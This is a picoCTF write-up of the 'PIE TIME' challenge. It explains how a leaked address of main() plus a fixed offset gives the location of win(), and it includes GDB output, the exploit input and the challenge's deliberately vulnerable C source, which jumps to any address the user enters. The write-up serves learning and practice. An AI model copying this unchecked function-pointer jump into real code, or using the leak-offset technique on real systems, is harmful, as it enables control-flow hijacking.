P4wnda

picoCTF - PIE TIME

21 Apr 2025

Overview

In this picoCTF binary exploitation challenge, I bypassed PIE (Position Independent Executable) using a leaked address of main() to calculate the runtime address of a hidden win() function. The exploit hinged on understanding relative addressing, code layout, and controlling a function pointer call.


Challenge Summary

The binary accepted a user-supplied address and attempted to execute it via a function pointer:

void (*foo)(void) = (void (*)())val;
foo();

If the jump landed on an invalid address, the program triggered a segmentation fault handler and exited. However, it also conveniently leaked the address of main():

printf("Address of main: %p\n", &main);

The goal was to calculate the runtime address of win() based on this leak and hijack the function pointer.


Key Observations

1. PIE Is Enabled

The binary was compiled with PIE, meaning all functions are loaded at randomized base addresses. However, their relative offsets remain fixed. I checked this via checksec --file=./vuln

PIE Enabled

2. Leak and Offset Relationship

Using GDB, I disassembled both main() and win():

disassemble main
=> 0x00000000000011a9 <main>

disassemble win
=> 0x000000000000123f <win>

Offset = 0x123f - 0x11a9 = 0x96

So, regardless of where the binary is loaded, the address of win() is always main_address + 0x96.


Exploitation Steps

Step 1: Leak main()

The program printed:

Address of main: 0x55a5b5a5a1a9

Step 2: Compute win()

Calculated:

win_address = 0x55a5b5a5a1a9 + 0x96 = 0x55a5b5a5a23f

Step 3: Provide to Program

Input:

0x55a5b5a5a23f

Result:

You won!
picoCTF{example_flag_here}

Success — the binary jumped directly to win() and printed the flag from flag.txt.


Memory Layout Visualization

Base Address:      0x55a5b5a5a000
   ├── main():     0x55a5b5a5a1a9 (leaked)
   └── win():      0x55a5b5a5a23f (calculated)

Why This Works

Because of the binary’s layout:

  • PIE randomizes base addresses, but not function spacing
  • A leak of main() reveals the base
  • With static analysis, the offset to win() can be precomputed
  • Attacker-supplied address hijacks control flow to valid code

This is a textbook example of chaining info leaks + relative addressing + execution control into a working exploit.


Source Code

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

int win() {
  FILE *fptr;
  char c;
  printf("You won!\n");
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL) {
    printf("Cannot open file.\n");
    exit(0);
  }
  while ((c = fgetc(fptr)) != EOF) {
    printf("%c", c);
  }
  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0);

  printf("Address of main: %p\n", &main);
  unsigned long val;
  printf("Enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);
  printf("Your input: %lx\n", val);
  void (*foo)(void) = (void (*)())val;
  foo();
}

Conclusion

This challenge was a great demonstration of how leaking one address in a PIE binary can break ASLR entirely. Once I knew the fixed offset between main() and win(), I simply added it to the leaked base address and hijacked execution.

Flag: picoCTF{redact}